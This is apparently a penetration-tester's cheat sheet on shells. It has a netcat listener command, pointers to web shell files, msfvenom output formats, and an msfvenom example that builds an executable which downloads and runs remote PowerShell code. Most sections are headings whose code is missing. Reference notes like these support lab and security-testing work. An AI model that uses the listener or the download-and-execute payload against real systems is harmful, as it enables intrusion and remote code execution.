Shells

Listener

rlwrap -cAr nc -lnvp <Port Number>

Web Shells

Locate and upload appropriate shells from - /user/share/webshells


Reverse Shells

Refer to https://www.revshells.com/


Reverse Shells (MSFvenom)

NOTE:

  • shell/reverse_tcp = staged payload

  • shell_reverse_tcp = unstaged payload

  • staged payload requires meterpreter listener

Formats
Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    ducky-script-psh
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    go
    golang
    hex
    java
    js_be
    js_le
    masm
    nim
    nimlang
    num
    octal
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    rust
    rustlang
    sh
    vbapplication
    vbscript
    zig

Linux

Reverse Shell
  • 32-bit Systems

  • 64-bit Systems

Bind Shell
  • 32-bit Systems

  • 64-bit Systems

Windows

Reverse Shell
  • 32-bit Systems

  • 64-bit Systems

Bind Shell
  • 32-bit Systems

  • 64-bit Systems

Extras
  • Run command via executable file

EXAMPLE:

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell "IEX(New-Object Net.webClient).downloadString('http:///')"" -f exe > payload.exe

  • Create User via executable file

SunOS (Solaris)


Web-based Payloads

PHP

Web Shell
Reverse Shell

ASP[X]

Web Shell

Get from the following

  • /usr/share/webshells/aspx/cmdasp.aspx

  • /usr/share/webshells/aspx/shell.aspx

NOTE: Remember to modify variables, string host and int port in shell.aspx

Reverse Shell

JSP

WAR

NodeJS


Script Language Payloads

Evil-WinRM

NOTE:

  • Verify usability with: crackmapexec winrm <Target IP>

  • Look for port 5985 in nmap scans

Powercat.ps1

Perl

Python

PHP

Bash

NOTE: Create a .sh file and paste the following

Netcat

  • Linux

  • Windows

PowerShell

Do the following in Kali's pwsh

Create the following python script and run it

TTY Shell

NOTE: Sometime we get a reverse shell and it may not be fully functional. The following commands allow us to spawn proper shell.

Python

Bash

Perl

Ruby

Lua

IRB

Vi

Nmap:

Last updated